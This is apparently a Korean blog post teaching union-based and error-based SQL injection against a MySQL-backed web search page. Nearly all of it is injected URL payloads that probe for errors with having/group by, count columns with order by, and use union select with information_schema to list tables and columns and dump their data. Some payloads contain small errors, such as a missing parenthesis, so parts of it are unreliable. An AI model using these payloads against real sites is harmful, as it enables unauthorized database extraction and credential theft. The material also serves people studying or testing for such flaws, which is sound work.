1. 개요
본 포스팅에서는 Union based 를 위해서는 기본적으로 에러정보가 웹 페이지에 노출된다는 것을 전제로 하고있다.
2. 공격 포인트
# 공격 지점 탐색
database의 에러메세지를 기반으로 한 공격이다. 즉 SQL 구문 중 group by 와 having 구문을 사용하여 에러정보가 유출되는 지점을 찾는다.
xxx.xxx.xxx.xxx/search?id=1
# 테이블, 필드 정보 획득
xxx.xxx.xxx.xxx/search?id=1' having 1=1-- 이를 통해 에러가 나는 것을 확인한다.
이를 통해, 테이블 정보와 필드 정보를 확인할 수 있는데, 아래 쿼리를 반복함으로써 데이터를 수집한다.
xxx.xxx.xxx.xxx/search?id=1' group by user_id, user_name having 1=1--
# 데이터 타입을 알아냄으로써, 관리자 계정정보 변경
xxx.xxx.xxx.xxx/search?id=1' union select sum(user_id) from 테이블명 having 1=1--
# 칼럼 갯수 확인
또한 order by 를 반복함으로써 컬럼 갯수를 파악할 수 있다.
xxx.xxx.xxx.xxx/search?id=1 order by 1-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 2-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 3-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 4-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 5-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 6-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 7-- (에러 발생)
xxx.xxx.xxx.xxx/search?id=1 union select 1,2,3,4,5,6-- (정상 출력)
위의 구문이 union based 기법의 핵심이다.
# 웹 페이지에 사용되는 컬럼 알아내기
실제 웹페이지에서 사용되는 칼럼번호를 알아내기 위해 정상적인 파라미터인 id에 부정조건을 전달해야 한다. 즉 인자를 -1,-99 등 과 같이 음수값으로 존재하지 않을 만한 데이터값을 지정하거나, and 1=0 과 같이 결과가 참이 될 수 없는 조건문을 추가하는 것이다.
xxx.xxx.xxx.xxx/search?id=-1 union select 1,2,3,4,5--
위의 url 에서 유효한 쿼리는 union 을 통해 추가한 select 12,3,4,5 뿐이고 웹 페이지에 유효 쿼리 결과만이 표시된다. 즉,
1,2,3,4,5 컬럼 중에 몇몇 혹은 모든 칼럼이 웹페이지 화면에 띄워질 것이다.
웹 페이지에 사용된 컬럼이 2번임을 알아냈다고 가정하고, 그 2번 칼럼을 통해 추가 정보를 얻을 수 있다.
# Database 명 알아내기
xxx.xxx.xxx.xxx/search?id=-1 union select 1,database(),3,4,5--
# table 명 알아내기
MySQL 의 시스템 테이블인 information_schema.tables 를 이용하면 해당 Database의 테이블 리스트를 뽑아낼 수 있다.
xxx.xxx.xxx.xxx/search?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
# Column 명 알아내기
xxx.xxx.xxx.xxx/search?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=테이블명--
# Data 추출하기
컬럼명 들도 알아냈다면, 원하는 컬럼의 데이터 값들을 뽑알 수 있다.
xxx.xxx.xxx.xxx/search?id=-99 union select 1,group_concat(concat_ws(0x3a,컬럼1,컬럼2),3,4,5 from 테이블명--
concat_ws() 는 칼럼1과 컬럼2를 구분자(0x3a) 로 이어주는 역할을 한다. 웹 페이지 화면에 컬럼1과 컬럼2의 데이터가 출력될 것이다. 즉, 윈도우즈 화면에 컬럼1과 컬럼2의 데이터값이 출력될 것이다.
** group_concat : 개행없이 문자열을 한줄에 출력하기 위한 명령어
<참고>
- http://mrrootable.tistory.com/25
- https://dev.mysql.com/doc/refman/5.5/en/columns-table.html